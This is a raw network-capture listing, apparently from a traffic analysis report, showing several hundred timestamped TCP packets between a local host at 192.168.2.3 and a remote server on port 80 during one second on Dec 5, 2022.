Dec 5, 2022 06:44:31.324124098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324131966 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324148893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324173927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324188948 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324198961 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324223995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324230909 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324250937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324275970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324275970 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324302912 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324327946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324330091 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324352980 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324377060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324381113 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324402094 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324425936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324446917 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324450016 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324475050 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324486017 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324493885 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324518919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324538946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324544907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324569941 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324594021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324601889 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324616909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324623108 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324641943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324666023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324668884 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324692011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324713945 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324716091 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324740887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324764967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324764967 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324790001 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324814081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324817896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324840069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324863911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324871063 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324887037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324911118 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324923038 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324934959 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324959040 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324959993 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324985027 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325009108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325017929 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325032949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325058937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325067997 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325083017 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325107098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325108051 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325130939 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325153112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325156927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325181007 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325192928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325206041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325218916 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325231075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325254917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325258970 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325278997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325305939 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325336933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325361013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325381041 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325383902 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325407982 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325417042 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325433016 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325436115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325457096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325476885 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325484037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325508118 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325531006 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325532913 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325555086 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325578928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325593948 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325603008 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325625896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325634956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325649977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325670004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325675011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325700998 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325723886 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325732946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325750113 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325773954 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325776100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325800896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325822115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325825930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325851917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325874090 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325875998 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325900078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325923920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.325948000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.325973988 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326000929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326008081 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326025963 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326049089 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326050043 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326075077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326100111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326108932 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326123953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326128960 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326148987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326164961 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326173067 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326198101 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326217890 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326224089 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326247931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326267004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326271057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326297045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326303005 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326323032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326345921 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326348066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326375008 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326395988 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326401949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326410055 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326428890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326448917 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326456070 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326483011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326507092 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326509953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326538086 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326556921 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326565027 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326591969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326613903 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326621056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326648951 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326668024 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326674938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326704025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326719046 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326730967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326759100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326776981 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326786995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326812983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326817036 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326829910 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326841116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326869011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326901913 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326913118 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326941013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326961040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.326967955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.326997995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327008009 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327025890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327034950 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327053070 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327080965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327085972 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327107906 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327131033 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327167034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327193975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327213049 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327220917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327250004 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327265978 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327276945 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327302933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327320099 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327330112 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327354908 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327364922 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327382088 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327393055 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327409983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327435970 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327438116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327465057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327486038 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327492952 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327522993 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327538013 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327550888 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327579021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327586889 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327606916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327619076 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327632904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327660084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327686071 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327713966 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327727079 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327727079 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327743053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327770948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327779055 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327799082 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327825069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327826023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327853918 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327877045 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327881098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327908993 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327929974 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.327936888 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327965021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.327986956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328001976 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328027964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328052044 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328057051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328084946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328095913 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328114033 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328125954 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328141928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328171015 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328171015 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328198910 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328222036 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328224897 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328253031 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328267097 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328267097 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328279018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328295946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328305006 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328329086 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328331947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328355074 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328360081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328377008 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328387022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328413963 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328416109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328433037 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328439951 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328466892 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328468084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328486919 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328495979 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328515053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328516006 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328525066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328546047 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328553915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328571081 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328581095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328608036 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328608990 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328628063 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328639030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328665972 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328666925 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328682899 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328696012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328722000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328723907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328743935 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328751087 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328774929 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328778028 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328797102 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328804970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328829050 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328833103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328860044 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328864098 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328883886 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328885078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328907967 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328916073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328937054 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328943014 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328965902 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.328970909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.328999996 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329001904 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329018116 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329026937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329051018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329055071 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329082966 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329083920 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329104900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329111099 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329138041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329139948 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329161882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329161882 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329186916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329191923 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329212904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329214096 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329241037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329258919 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329258919 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329267979 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329282999 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329294920 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329319000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329320908 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329339027 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329345942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329366922 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329374075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329396009 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329400063 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329423904 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329427958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329444885 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329453945 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329480886 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329482079 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329498053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329510927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329530954 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.329538107 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.329554081 CET	49703	80	192.168.2.3	66.235.200.147
